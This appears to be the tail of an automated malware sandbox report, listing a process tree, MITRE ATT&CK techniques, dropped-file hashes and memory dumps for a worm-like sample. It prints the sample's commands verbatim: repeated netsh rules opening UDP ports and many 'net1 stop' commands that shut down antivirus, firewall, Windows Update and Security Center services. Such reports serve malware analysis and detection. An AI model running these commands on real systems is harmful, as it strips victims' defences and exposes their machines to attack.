- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2292
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2488
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2800
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2852
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2948
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2072
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2104
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2536
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2788
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2920
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:308
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2848
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2080
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2132
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2440
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2436
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2668
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2596
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3032
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:844
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1588
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2356
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1352
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2536
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1924
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2668
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2780
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:660
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2104
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2420
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2072
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2732
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2804
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2856
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2780
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2596
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:844
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1676
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2252
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2564
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2376
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2936
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2668
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3012
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2180
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1588
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2316
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2272
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2824
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:960
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2816
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2076
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2992
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2180
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2348
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1676
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2700
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2696
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2732
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2216
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2596
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2292
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2284
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2932
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2648
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2700
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2756
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2732
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3060
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\loveletter.vbs"
  2⤵
  PID:1520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Get-Content -Path C:\Users\Admin\Desktop\YcynNote.txt | Out-Printer"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1280
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\mail.vbs"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Get-Content -Path C:\Users\Admin\Desktop\YcynNote.txt | Out-Printer"
  2⤵
  PID:2328

C:\Windows\system32\scrnsave.scr
C:\Windows\system32\scrnsave.scr /s
1⤵
PID:2044
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 stop "Symantec SPBBCSvc" /y
  2⤵
  PID:1912

C:\Windows\system32\scrnsave.scr
C:\Windows\system32\scrnsave.scr /s
1⤵
PID:524

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "wuauserv"
1⤵
PID:956

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "Security Center" /y
1⤵
PID:560

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "norton AntiVirus Firewall Monitor Service" /y
1⤵
PID:1680

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "norton AntiVirus Auto-Protect Service" /y
1⤵
PID:296

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "McAfee Personal Firewall Service" /y
1⤵
PID:1980

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MonSvcNT /y
1⤵
PID:2020

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SAVScan /y
1⤵
PID:296

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "norton Unerase Protection" /y
1⤵
PID:1768

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MpfService /y
1⤵
PID:1712

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "McAfeeAntiSpyware" /y
1⤵
PID:2004

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ERSvc /y
1⤵
PID:1956

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "*norton*" /y
1⤵
PID:1320

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "Nav Auto-Protect" /y
1⤵
PID:1372

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop InoTask /y
1⤵
PID:856
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 stop MskService /y
  2⤵
  PID:1092

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "PC-cillin Personal Firewall" /y
1⤵
PID:1628

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "eTrust Antivirus RPC Server" /y
1⤵
PID:432
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 stop NProtectService /y
  2⤵
  PID:948

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "Trend Micro Proxy Service" /y
1⤵
PID:1552

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1491551221-68635567-200658462518575685119498976222434486181921559906-1743484804"
1⤵
PID:1876

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop "Ahnlab Task Scheduler" /y
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1092
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 stop "Symantec Core LC" /y
  2⤵
  PID:1236

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1572756939-1271911137-541933866-375995115235301436381688485-157981101216940898"
1⤵
PID:1052

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2351381781116909015-39162258951560211-1775376661587460192504356957-574013173"
1⤵
PID:2004

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "826060557778039927907495518456151551892261310-17047371421206132595-1114265027"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1592

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "856407501-933658017-2012087481-9294783142063660655-1460719356-19556146001381479434"
1⤵
PID:836

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:1560

C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE" -Embedding
1⤵
PID:2128

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e2d54c25d7035b68dbe2170fe87a2c57

SHA1
e5f13cd2dd5325efa65b55e341ff99ab17daac80

SHA256
14a04306e70b3c969e2fbad91c9af3b208f9402dd13d6e74862cc12576a754e7

SHA512
32c7ad296c73af7d27e9aa1e4bbcdc12611ad464516cbf2a7db93511b6337d78dab8a7554bc992c0bcb99e28216df7902b17c0f0e2f0ef711500be88e59eab3a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e2d54c25d7035b68dbe2170fe87a2c57

SHA1
e5f13cd2dd5325efa65b55e341ff99ab17daac80

SHA256
14a04306e70b3c969e2fbad91c9af3b208f9402dd13d6e74862cc12576a754e7

SHA512
32c7ad296c73af7d27e9aa1e4bbcdc12611ad464516cbf2a7db93511b6337d78dab8a7554bc992c0bcb99e28216df7902b17c0f0e2f0ef711500be88e59eab3a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e2d54c25d7035b68dbe2170fe87a2c57

SHA1
e5f13cd2dd5325efa65b55e341ff99ab17daac80

SHA256
14a04306e70b3c969e2fbad91c9af3b208f9402dd13d6e74862cc12576a754e7

SHA512
32c7ad296c73af7d27e9aa1e4bbcdc12611ad464516cbf2a7db93511b6337d78dab8a7554bc992c0bcb99e28216df7902b17c0f0e2f0ef711500be88e59eab3a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e2d54c25d7035b68dbe2170fe87a2c57

SHA1
e5f13cd2dd5325efa65b55e341ff99ab17daac80

SHA256
14a04306e70b3c969e2fbad91c9af3b208f9402dd13d6e74862cc12576a754e7

SHA512
32c7ad296c73af7d27e9aa1e4bbcdc12611ad464516cbf2a7db93511b6337d78dab8a7554bc992c0bcb99e28216df7902b17c0f0e2f0ef711500be88e59eab3a

Download Submit
C:\Users\Admin\Desktop\YcynNote.txt

Filesize
467B

MD5
c31c5e6599e25b06cb3a71fc1b64127d

SHA1
fe345f3d32a4389c8c6ba51f5982f9b2012f39ad

SHA256
770c377c315338aea2643243f593c5cd28373b9816086c66bf212b4354f35370

SHA512
d2f04fcf1714a6ac933a0c342487c36f93bdc5257739bb6406f38678ccabe6237a4b1d67807c7e72e0c20bbbaba6cd4fd2fb9356a8e47043d778d70ce589a51a

Download Submit
C:\Users\Admin\Documents\black.bat

Filesize
71B

MD5
3544e4b7ac1418d34061648a9f3e3dc6

SHA1
30e88f4aa1cc6c936c9c274f9f4f53b491a4d8ce

SHA256
db24f2b49b88e4cf7c3569a067f3e6e325d54a3be2368262d37a6a34f4f8aae8

SHA512
5d3048b421b4900efdce377d61f8965beb4bc02db27875c03eb378cd9996de9a01b63e54e99b4f94e4cf14e1b60d873d715ccea38fd0bdc1200ad3a2f268e126

Download Submit
C:\Users\Admin\Downloads\2b2crypt.cmd

Filesize
133B

MD5
eb5a410c30501ea8862477565ef9b1c6

SHA1
a15b4fee44be0c6d91faabeca2cf41dcf1da9541

SHA256
102306da5883026784a9f1b61ae5f7b9d09cf896e63394f5d35cac1a21c266df

SHA512
7d8478f093e5248c241cd4129b524c44bf813f92af1333c18f01c9fbc2d36919a2f32a15ea0830df44884c7589ba4ef59260277a155fd18eb623ff16d8096322

Download Submit
C:\Users\Admin\Downloads\2b2crypt.m.cmd

Filesize
138B

MD5
5a619b37320008ebebf3aa815443e8fa

SHA1
e8452a9b27be4a2468a77b9e3179c8b6ad494ab4

SHA256
4c5619e74ac51f82cba2696342900ac70e57d709b7dd768507a37f1355171bc0

SHA512
c51dab506cfacea43c6c9a21185ad31e874fb13e5ea9caebb6d478fdf5c6138cef09b23ed290026c86a05be62cd2d7ca3e50099a8bd23251239e7940726de5eb

Download Submit
C:\Users\Admin\FuckPorts.cmd

Filesize
357B

MD5
5b11a597cf126340921991823829f0eb

SHA1
8f26b18b63bc522ee9af4d48e51ad476258be2f5

SHA256
e16773e5771aae62b6fb63344a12188af62157c9aba2ad5e6bfa4acdfe795446

SHA512
045266d4991b76c92edf754a4ff4d0a19d9960b574fb99c36354b2ac9bc9d8ed7ddf58ea475dff46822a36d0e62ae075fb55db07fc9f090e74f3d1b505daf69a

Download Submit
C:\Users\Admin\loveletter.vbs

Filesize
495B

MD5
900ead69492d80e48738921eca28b14f

SHA1
6b51607c54f8e734a7ea47091859c3e8dce6365c

SHA256
c1a49c4801603e877e673620c289d709c5c2b368dae72e941f9649889faefab3

SHA512
8fbb63ea9e5e2bca05bdbcf373056e58aaae2dfd180dfca2fdfdc2b706bb3923798f9878eddf7acef255676eda65f94cc9a827e8abcc9d4da6613f33d74861f2

Download Submit
C:\Users\Admin\mail.vbs

Filesize
488B

MD5
88ef4bc3f48eeb97aedadff8f3840980

SHA1
48e8167bef2562d902885a075f6190d269fd3d35

SHA256
b62346a7425cfec83d3f05fc4ff268510a16493479f09e7113169aaad5abeefa

SHA512
523127a83202c86445825e1d8ab84a268e4f9b40a7c76b91b4947fb29de1c0819ba3e856bc1cbd40d6b0d10c04ca356a5e0dc975708a3d765ab425ab1a7d1024

Download Submit
C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdui.BUD

Filesize
56KB

MD5
bd72dcf1083b6e22ccbfa0e8e27fb1e0

SHA1
3fd23d4f14da768da7b8364d74c54932d704e74e

SHA256
90f44f69950a796ab46ff09181585ac9dabf21271f16ebb9ea385c957e5955c1

SHA512
72360ab4078ad5e0152324f9a856b3396e2d0247f7f95ac8a5a53a25126ac3cff567cc523849e28d92a99730ee8ffb30366f09c428258f93a5cca6d0c5905562

Download Submit
C:\Windows\win.ini

Filesize
640B

MD5
37a42188327ced5450bd8ef9b5a16bbe

SHA1
1f332e4ea66e55337808fb794b58ea4e182e1f19

SHA256
4fb7375c44fab40f69801d65177027c52cdbb79fdcfb3a91d75c469f7fe0533d

SHA512
3d0751688dc9026da234f1c61330782fbc20655ff8a810c2bf529db958e1d3fd3b9bce7d9e027edbe92c819b9074474e5e84775828a11721e9aeb05d85a0f363

Download Submit
\??\PIPE\lsarpc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\samr

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/108-87-0x0000000000000000-mapping.dmp

Download
memory/108-121-0x0000000000000000-mapping.dmp

Download
memory/296-85-0x0000000000000000-mapping.dmp

Download
memory/296-134-0x0000000000000000-mapping.dmp

Download
memory/336-138-0x0000000000000000-mapping.dmp

Download
memory/364-140-0x0000000000000000-mapping.dmp

Download
memory/524-83-0x0000000000000000-mapping.dmp

Download
memory/560-108-0x0000000000000000-mapping.dmp

Download
memory/572-111-0x0000000000000000-mapping.dmp

Download
memory/584-95-0x0000000000000000-mapping.dmp

Download
memory/596-291-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/596-288-0x0000000002864000-0x0000000002867000-memory.dmp

Filesize
12KB

Download
memory/616-287-0x0000000002964000-0x0000000002967000-memory.dmp

Filesize
12KB

Download
memory/616-295-0x000000000296B000-0x000000000298A000-memory.dmp

Filesize
124KB

Download
memory/640-109-0x0000000000000000-mapping.dmp

Download
memory/660-137-0x0000000000000000-mapping.dmp

Download
memory/660-97-0x0000000000000000-mapping.dmp

Download
memory/712-145-0x0000000000000000-mapping.dmp

Download
memory/712-70-0x0000000000000000-mapping.dmp

Download
memory/900-56-0x0000000000000000-mapping.dmp

Download
memory/904-133-0x0000000000000000-mapping.dmp

Download
memory/956-88-0x0000000000000000-mapping.dmp

Download
memory/960-54-0x0000000000000000-mapping.dmp

Download
memory/1092-81-0x0000000000000000-mapping.dmp

Download
memory/1092-117-0x0000000000000000-mapping.dmp

Download
memory/1104-131-0x0000000000000000-mapping.dmp

Download
memory/1132-147-0x0000000000000000-mapping.dmp

Download
memory/1184-60-0x0000000000000000-mapping.dmp

Download
memory/1236-118-0x0000000000000000-mapping.dmp

Download
memory/1280-345-0x0000000002434000-0x0000000002437000-memory.dmp

Filesize
12KB

Download
memory/1280-115-0x0000000000000000-mapping.dmp

Download
memory/1280-346-0x000000000243B000-0x000000000245A000-memory.dmp

Filesize
124KB

Download
memory/1332-67-0x0000000000000000-mapping.dmp

Download
memory/1332-297-0x000000000268B000-0x00000000026AA000-memory.dmp

Filesize
124KB

Download
memory/1332-286-0x0000000002684000-0x0000000002687000-memory.dmp

Filesize
12KB

Download
memory/1344-68-0x0000000000000000-mapping.dmp

Download
memory/1344-101-0x0000000000000000-mapping.dmp

Download
memory/1488-105-0x0000000000000000-mapping.dmp

Download
memory/1520-74-0x0000000000000000-mapping.dmp

Download
memory/1528-135-0x0000000000000000-mapping.dmp

Download
memory/1560-112-0x0000000000000000-mapping.dmp

Download
memory/1560-78-0x0000000000000000-mapping.dmp

Download
memory/1632-125-0x0000000000000000-mapping.dmp

Download
memory/1640-71-0x0000000000000000-mapping.dmp

Download
memory/1660-144-0x0000000000000000-mapping.dmp

Download
memory/1660-73-0x0000000000000000-mapping.dmp

Download
memory/1672-124-0x0000000000000000-mapping.dmp

Download
memory/1672-89-0x0000000000000000-mapping.dmp

Download
memory/1680-91-0x0000000000000000-mapping.dmp

Download
memory/1680-130-0x0000000000000000-mapping.dmp

Download
memory/1704-127-0x0000000000000000-mapping.dmp

Download
memory/1712-55-0x0000000000000000-mapping.dmp

Download
memory/1720-122-0x0000000000000000-mapping.dmp

Download
memory/1768-113-0x0000000000000000-mapping.dmp

Download
memory/1876-90-0x0000000000000000-mapping.dmp

Download
memory/1880-106-0x0000000000000000-mapping.dmp

Download
memory/1916-103-0x0000000000000000-mapping.dmp

Download
memory/1916-69-0x0000000000000000-mapping.dmp

Download
memory/1936-142-0x0000000000000000-mapping.dmp

Download
memory/1944-57-0x0000000000000000-mapping.dmp

Download
memory/1948-119-0x0000000000000000-mapping.dmp

Download
memory/1948-75-0x0000000000000000-mapping.dmp

Download
memory/1960-64-0x000000001B6E0000-0x000000001B9DF000-memory.dmp

Filesize
3.0MB

Download
memory/1960-66-0x000000000294B000-0x000000000296A000-memory.dmp

Filesize
124KB

Download
memory/1960-61-0x0000000000000000-mapping.dmp

Download
memory/1960-62-0x000007FEFBDA1000-0x000007FEFBDA3000-memory.dmp

Filesize
8KB

Download
memory/1960-63-0x000007FEF3750000-0x000007FEF42AD000-memory.dmp

Filesize
11.4MB

Download
memory/1960-99-0x0000000000000000-mapping.dmp

Download
memory/1960-65-0x0000000002944000-0x0000000002947000-memory.dmp

Filesize
12KB

Download
memory/1984-72-0x0000000000000000-mapping.dmp

Download
memory/1992-304-0x0000000002484000-0x0000000002487000-memory.dmp

Filesize
12KB

Download
memory/1992-301-0x000000000248B000-0x00000000024AA000-memory.dmp

Filesize
124KB

Download
memory/1996-59-0x0000000000000000-mapping.dmp

Download
memory/2000-93-0x0000000000000000-mapping.dmp

Download
memory/2000-141-0x0000000000000000-mapping.dmp

Download
